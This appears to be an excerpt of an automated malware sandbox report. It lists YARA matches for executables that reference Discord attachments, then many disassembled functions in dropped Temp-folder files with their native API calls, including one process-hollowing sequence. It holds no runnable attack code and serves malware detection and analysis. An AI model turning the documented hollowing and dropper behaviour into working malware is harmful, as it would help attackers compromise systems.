Source: 27.0.5D4.exe.3b0000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 31.0.319A.exe.d50000.3.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 27.0.5D4.exe.3b0000.2.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: C:\Users\user\AppData\Local\Temp\EDD.exe, type: DROPPED	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: C:\Users\user\AppData\Local\Temp\319A.exe, type: DROPPED	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: C:\Users\user\AppData\Local\Temp\8746.exe, type: DROPPED	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: C:\Users\user\AppData\Local\Temp\5D4.exe, type: DROPPED	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: C:\Users\user\AppData\Local\Temp\89D7.exe, type: DROPPED	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =

Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: String function: 0041D0F0 appears 77 times
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: String function: 004212D0 appears 77 times
Source: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe	Code function: String function: 0040B550 appears 50 times
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: String function: 6A96D08C appears 41 times
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: String function: 6A91B150 appears 128 times
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: String function: 6A9A5720 appears 76 times

Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Code function: 4_2_0040185B Sleep,NtTerminateProcess,	4_2_0040185B
Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Code function: 4_2_00401866 Sleep,NtTerminateProcess,	4_2_00401866
Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Code function: 4_2_0040187A Sleep,NtTerminateProcess,	4_2_0040187A
Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Code function: 4_2_0040163B NtMapViewOfSection,	4_2_0040163B
Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Code function: 4_2_004018D3 NtTerminateProcess,	4_2_004018D3
Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Code function: 4_2_00401884 Sleep,NtTerminateProcess,	4_2_00401884
Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Code function: 4_2_00401888 NtTerminateProcess,	4_2_00401888
Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Code function: 4_2_0040156A NtMapViewOfSection,	4_2_0040156A
Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Code function: 4_2_004015DB NtMapViewOfSection,NtMapViewOfSection,	4_2_004015DB
Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Code function: 4_2_004017EA Sleep,NtTerminateProcess,	4_2_004017EA
Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Code function: 4_1_0040156A NtMapViewOfSection,	4_1_0040156A
Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Code function: 4_1_004015DB NtMapViewOfSection,NtMapViewOfSection,	4_1_004015DB
Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Code function: 4_1_0040163B NtMapViewOfSection,	4_1_0040163B
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Code function: 20_2_0040185B Sleep,NtTerminateProcess,	20_2_0040185B
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Code function: 20_2_00401866 Sleep,NtTerminateProcess,	20_2_00401866
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Code function: 20_2_0040187A Sleep,NtTerminateProcess,	20_2_0040187A
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Code function: 20_2_0040163B NtMapViewOfSection,	20_2_0040163B
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Code function: 20_2_004018D3 NtTerminateProcess,	20_2_004018D3
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Code function: 20_2_00401884 Sleep,NtTerminateProcess,	20_2_00401884
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Code function: 20_2_00401888 NtTerminateProcess,	20_2_00401888
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Code function: 20_2_0040156A NtMapViewOfSection,	20_2_0040156A
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Code function: 20_2_004015DB NtMapViewOfSection,NtMapViewOfSection,	20_2_004015DB
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Code function: 20_2_004017EA Sleep,NtTerminateProcess,	20_2_004017EA
Source: C:\Users\user\AppData\Roaming\cviueca	Code function: 22_2_02C70110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	22_2_02C70110
Source: C:\Users\user\AppData\Roaming\cviueca	Code function: 26_2_0040185B Sleep,NtTerminateProcess,	26_2_0040185B
Source: C:\Users\user\AppData\Roaming\cviueca	Code function: 26_2_00401866 Sleep,NtTerminateProcess,	26_2_00401866
Source: C:\Users\user\AppData\Roaming\cviueca	Code function: 26_2_0040187A Sleep,NtTerminateProcess,	26_2_0040187A
Source: C:\Users\user\AppData\Roaming\cviueca	Code function: 26_2_0040163B NtMapViewOfSection,	26_2_0040163B
Source: C:\Users\user\AppData\Roaming\cviueca	Code function: 26_2_004018D3 NtTerminateProcess,	26_2_004018D3
Source: C:\Users\user\AppData\Roaming\cviueca	Code function: 26_2_00401884 Sleep,NtTerminateProcess,	26_2_00401884
Source: C:\Users\user\AppData\Roaming\cviueca	Code function: 26_2_00401888 NtTerminateProcess,	26_2_00401888
Source: C:\Users\user\AppData\Roaming\cviueca	Code function: 26_2_0040156A NtMapViewOfSection,	26_2_0040156A
Source: C:\Users\user\AppData\Roaming\cviueca	Code function: 26_2_004015DB NtMapViewOfSection,NtMapViewOfSection,	26_2_004015DB
Source: C:\Users\user\AppData\Roaming\cviueca	Code function: 26_2_004017EA Sleep,NtTerminateProcess,	26_2_004017EA
Source: C:\Users\user\AppData\Roaming\cviueca	Code function: 26_1_0040156A NtMapViewOfSection,	26_1_0040156A
Source: C:\Users\user\AppData\Roaming\cviueca	Code function: 26_1_004015DB NtMapViewOfSection,NtMapViewOfSection,	26_1_004015DB
Source: C:\Users\user\AppData\Roaming\cviueca	Code function: 26_1_0040163B NtMapViewOfSection,	26_1_0040163B
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_0040181C Sleep,NtTerminateProcess,	29_2_0040181C
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_00402406 NtEnumerateKey,	29_2_00402406
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_00401F25 NtQuerySystemInformation,	29_2_00401F25
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_00401828 Sleep,NtTerminateProcess,	29_2_00401828
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_00402431 NtEnumerateKey,	29_2_00402431
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_004017DA Sleep,NtTerminateProcess,	29_2_004017DA
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_004017F8 NtTerminateProcess,	29_2_004017F8
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_0040209A NtQuerySystemInformation,	29_2_0040209A
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_004017A3 Sleep,NtTerminateProcess,	29_2_004017A3
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9598C0 ZwDuplicateObject,LdrInitializeThunk,	29_2_6A9598C0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959820 ZwEnumerateKey,LdrInitializeThunk,	29_2_6A959820
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959860 ZwQuerySystemInformation,LdrInitializeThunk,	29_2_6A959860
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9599A0 ZwCreateSection,LdrInitializeThunk,	29_2_6A9599A0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959600 ZwOpenKey,LdrInitializeThunk,	29_2_6A959600
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95967A NtQueryInformationProcess,LdrInitializeThunk,	29_2_6A95967A
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959660 ZwAllocateVirtualMemory,LdrInitializeThunk,	29_2_6A959660
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959780 ZwMapViewOfSection,LdrInitializeThunk,	29_2_6A959780
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94D294 ZwQueryAttributesFile,RtlFreeHeap,ZwClose,RtlFreeHeap,	29_2_6A94D294
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95AA90 ZwQuerySystemInformationEx,	29_2_6A95AA90
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91429E RtlInitUnicodeString,ZwClose,LdrQueryImageFileKeyOption,	29_2_6A91429E
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A932280 RtlAcquireSRWLockExclusive,RtlDllShutdownInProgress,ZwWaitForAlertByThreadId,RtlAcquireSRWLockExclusive,ZwTerminateProcess,	29_2_6A932280
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95B280 ZwWow64DebuggerCall,	29_2_6A95B280
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94DA88 RtlAcquireSRWLockExclusive,RtlImageNtHeader,RtlAllocateHeap,ZwUnmapViewOfSection,ZwClose,RtlReAllocateHeap,	29_2_6A94DA88
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959AB0 ZwWaitForMultipleObjects,	29_2_6A959AB0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94E2BB ZwWaitForAlertByThreadId,	29_2_6A94E2BB
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A911AA0 RtlAllocateHandle,RtlReAllocateHeap,ZwAllocateVirtualMemory,ZwAllocateVirtualMemory,RtlAllocateHeap,	29_2_6A911AA0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91BAA0 RtlpLoadMachineUIByPolicy,RtlInitUnicodeString,ZwOpenKey,RtlpLoadMachineUIByPolicy,ZwClose,	29_2_6A91BAA0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A945AA0 TpSetPoolMaxThreads,ZwSetInformationWorkerFactory,RtlGetCurrentServiceSessionId,TpSetPoolMaxThreads,	29_2_6A945AA0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9152A5 RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwFsControlFile,RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,ZwClose,RtlFreeHeap,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,ZwClose,RtlFreeHeap,RtlEnterCriticalSection,RtlLeaveCriticalSection,	29_2_6A9152A5
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93FAD0 RtlAcquireSRWLockShared,RtlDllShutdownInProgress,ZwWaitForAlertByThreadId,RtlAcquireSRWLockShared,ZwTerminateProcess,	29_2_6A93FAD0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8ADD RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6A9E8ADD
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A1AD6 ZwFreeVirtualMemory,	29_2_6A9A1AD6
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95AAC0 ZwQueryWnfStateNameInformation,	29_2_6A95AAC0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95AAE0 ZwRaiseException,	29_2_6A95AAE0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959AE0 ZwTraceEvent,	29_2_6A959AE0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A915210 RtlGetCurrentDirectory_U,memcpy,RtlGetCurrentDirectory_U,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,	29_2_6A915210
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91E216 RtlInitUnicodeString,ZwOpenKey,ZwEnumerateKey,ZwClose,	29_2_6A91E216
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8214 RtlAcquireSRWLockExclusive,ZwSetInformationWorkerFactory,RtlReleaseSRWLockExclusive,	29_2_6A9E8214
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959A00 ZwProtectVirtualMemory,	29_2_6A959A00
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94B230 EtwEventWrite,ZwTraceEvent,RtlNtStatusToDosError,EtwEventWrite,	29_2_6A94B230
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959A30 ZwTerminateThread,	29_2_6A959A30
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A918239 RtlInitUnicodeStringEx,ZwQueryValueKey,RtlInitUnicodeStringEx,RtlPrefixUnicodeString,ZwEnumerateKey,ZwOpenKey,RtlInitUnicodeStringEx,ZwQueryValueKey,RtlFreeHeap,ZwClose,RtlAllocateHeap,RtlCompareUnicodeString,ZwClose,RtlFreeHeap,ZwClose,	29_2_6A918239
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A914A20 RtlGetCurrentServiceSessionId,RtlFreeHeap,ZwClose,RtlReleaseActivationContext,LdrUnloadDll,	29_2_6A914A20
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A4A28 ZwOpenKey,DbgPrintEx,ZwQueryValueKey,DbgPrintEx,DbgPrintEx,memcpy,ZwClose,	29_2_6A9A4A28
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95AA20 ZwQuerySecurityAttributesToken,	29_2_6A95AA20
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A229 ZwAllocateVirtualMemory,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,ZwQueryVirtualMemory,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlFillMemoryUlong,DbgPrint,DbgPrint,DbgPrint,	29_2_6A93A229
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959A50 ZwCreateFile,	29_2_6A959A50
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A919240 ZwClose,ZwClose,RtlFreeHeap,RtlFreeHeap,RtlFreeHeap,RtlAcquireSRWLockExclusive,RtlFreeHeap,	29_2_6A919240
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A1242 ZwUnmapViewOfSection,ZwClose,ZwClose,ZwClose,ZwClose,ZwClose,	29_2_6A9A1242
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8A62 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6A9E8A62
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A912B93 TpSetDefaultPoolMaxThreads,ZwDuplicateToken,	29_2_6A912B93
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95A390 ZwGetCachedSigningLevel,	29_2_6A95A390
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94939F RtlInitializeCriticalSectionEx,ZwDelayExecution,	29_2_6A94939F
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D138A memset,RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6A9D138A
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E9BBE RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6A9E9BBE
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8BB6 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6A9E8BB6
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95A3A0 ZwGetCompleteWnfStateSubscription,	29_2_6A95A3A0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D1BA8 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6A9D1BA8
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A944BAD RtlAcquireSRWLockExclusive,memset,ZwTraceControl,RtlReleaseSRWLockExclusive,RtlSetLastWin32Error,RtlFreeHeap,RtlAllocateHeap,RtlNtStatusToDosError,RtlFreeHeap,	29_2_6A944BAD
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A912BC2 ZwOpenThreadToken,ZwSetInformationThread,ZwClose,	29_2_6A912BC2
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959BF0 ZwAlertThreadByThreadId,	29_2_6A959BF0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9123F6 ZwClose,RtlFreeHeap,	29_2_6A9123F6
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A92A3E0 RtlFormatCurrentUserKeyPath,ZwQueryInformationToken,RtlLengthSidAsUnicodeString,RtlAppendUnicodeToString,RtlConvertSidToUnicodeString,RtlFreeUnicodeString,	29_2_6A92A3E0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D131B RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6A9D131B
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A914B00 TpCallbackMayRunLong,TpCallbackMayRunLong,ZwSetInformationWorkerFactory,	29_2_6A914B00
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A945306 ZwReleaseKeyedEvent,	29_2_6A945306
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959B00 ZwSetValueKey,	29_2_6A959B00
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A919335 ZwClose,ZwClose,	29_2_6A919335
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8B58 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6A9E8B58
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A943B48 ZwClose,ZwClose,	29_2_6A943B48
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95AB70 ZwReleaseWorkerFactoryWorker,	29_2_6A95AB70
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A8372 ZwClose,RtlStringFromGUIDEx,ZwCreateKey,RtlFreeUnicodeString,	29_2_6A9A8372
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A943B7A RtlAllocateHeap,ZwQuerySystemInformationEx,memset,RtlFreeHeap,	29_2_6A943B7A
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A912B7E ZwSetInformationThread,ZwClose,	29_2_6A912B7E
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95AB60 ZwReleaseKeyedEvent,	29_2_6A95AB60
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9C6369 RtlInitUnicodeString,ZwOpenFile,ZwCreateSection,ZwMapViewOfSection,ZwClose,ZwClose,	29_2_6A9C6369
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A926B6B ZwQueryAttributesFile,RtlDeleteBoundaryDescriptor,	29_2_6A926B6B
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A997365 RtlRunOnceExecuteOnce,ZwQuerySystemInformation,RtlCaptureContext,memset,RtlReportException,	29_2_6A997365
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A6365 RtlAllocateHeap,ZwQueryVirtualMemory,memcpy,wcsrchr,RtlFreeHeap,RtlAllocateHeap,memcpy,	29_2_6A9A6365
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93E090 RtlWow64EnableFsRedirectionEx,RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwSetEvent,	29_2_6A93E090
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95A890 ZwQueryDebugFilterState,	29_2_6A95A890
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959890 ZwFsControlFile,	29_2_6A959890
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A913880 TpSetWaitEx,RtlAllocateHeap,ZwGetCompleteWnfStateSubscription,RtlFreeHeap,TpSetWaitEx,	29_2_6A913880
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94A080 RtlDeleteCriticalSection,RtlAcquireSRWLockExclusive,RtlDeleteCriticalSection,RtlDeleteCriticalSection,ZwClose,RtlDeleteCriticalSection,	29_2_6A94A080
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95108B ZwClose,	29_2_6A95108B
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95B0B0 ZwTraceControl,	29_2_6A95B0B0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94F0BF ZwOpenFile,RtlFreeHeap,ZwQueryVolumeInformationFile,RtlAllocateHeap,memcpy,ZwClose,ZwClose,RtlFreeHeap,	29_2_6A94F0BF
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9418B9 ZwCreateTimer2,ZwCreateWaitCompletionPacket,ZwAssociateWaitCompletionPacket,ZwClose,	29_2_6A9418B9
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93F0AE ZwSetInformationWorkerFactory,	29_2_6A93F0AE
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9C60A2 ZwQueryInformationFile,	29_2_6A9C60A2
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9510D7 ZwOpenKey,ZwCreateKey,	29_2_6A9510D7
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9598D0 ZwQueryAttributesFile,	29_2_6A9598D0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95A0D0 ZwCreateTimer2,	29_2_6A95A0D0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9170C0 ZwClose,RtlFreeHeap,RtlFreeHeap,	29_2_6A9170C0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9500C2 ZwAlertThreadByThreadId,	29_2_6A9500C2
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91B8F0 TpSetPoolStackInformation,ZwSetInformationWorkerFactory,	29_2_6A91B8F0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9140FD RtlImageNtHeaderEx,DbgPrintEx,memset,RtlDebugPrintTimes,DbgPrintEx,wcsstr,DbgPrintEx,DbgPrintEx,wcschr,DbgPrintEx,ZwSetInformationProcess,	29_2_6A9140FD
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9C60E9 ZwOpenKey,ZwClose,ZwClose,	29_2_6A9C60E9
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CE0E9 RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,RtlAllocateHeap,ZwClose,RtlFreeHeap,	29_2_6A9CE0E9
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9EF019 RtlInitUnicodeString,RtlInitUnicodeString,ZwQueryValueKey,RtlAllocateHeap,ZwQueryValueKey,RtlInitUnicodeString,ZwClose,RtlFreeHeap,	29_2_6A9EF019
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91F018 RtlAllocateHeap,ZwQueryValueKey,memcpy,RtlFreeHeap,	29_2_6A91F018
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959830 ZwOpenFile,	29_2_6A959830
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A944020 RtlGetVersion,RtlGetSuiteMask,RtlGetNtProductType,RtlInitUnicodeString,ZwQueryLicenseValue,RtlGetSuiteMask,RtlGetVersion,	29_2_6A944020
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A915050 RtlSetCurrentDirectory_U,RtlAllocateHeap,RtlFreeHeap,RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,RtlSetCurrentDirectory_U,RtlFreeHeap,RtlFreeHeap,	29_2_6A915050
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959850 ZwQueryDirectoryFile,	29_2_6A959850
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8858 ZwAlertThreadByThreadId,	29_2_6A9E8858
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959840 ZwDelayExecution,	29_2_6A959840
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A1879 ZwAllocateVirtualMemory,memset,RtlInitializeSid,	29_2_6A9A1879
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A92106F ZwOpenKey,ZwClose,	29_2_6A92106F
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959990 ZwQueryVolumeInformationFile,	29_2_6A959990
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91519E RtlEqualUnicodeString,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,	29_2_6A91519E
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93C182 RtlGetCurrentServiceSessionId,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,ZwWaitForAlertByThreadId,RtlAcquireSRWLockExclusive,	29_2_6A93C182
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9DA189 RtlAcquireSRWLockExclusive,ZwGetNlsSectionPtr,RtlAllocateHeap,RtlFreeHeap,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,	29_2_6A9DA189
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95B180 ZwWaitForAlertByThreadId,	29_2_6A95B180
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959980 ZwCreateEvent,	29_2_6A959980
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95A980 ZwQueryInstallUILanguage,	29_2_6A95A980
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9C6186 ZwQueryValueKey,memmove,RtlInitUnicodeString,	29_2_6A9C6186
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95A9B0 ZwQueryLicenseValue,	29_2_6A95A9B0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9951BE ZwQuerySystemInformation,ZwQuerySystemInformationEx,RtlAllocateHeap,ZwQuerySystemInformationEx,RtlFindCharInUnicodeString,RtlEnterCriticalSection,memcpy,	29_2_6A9951BE
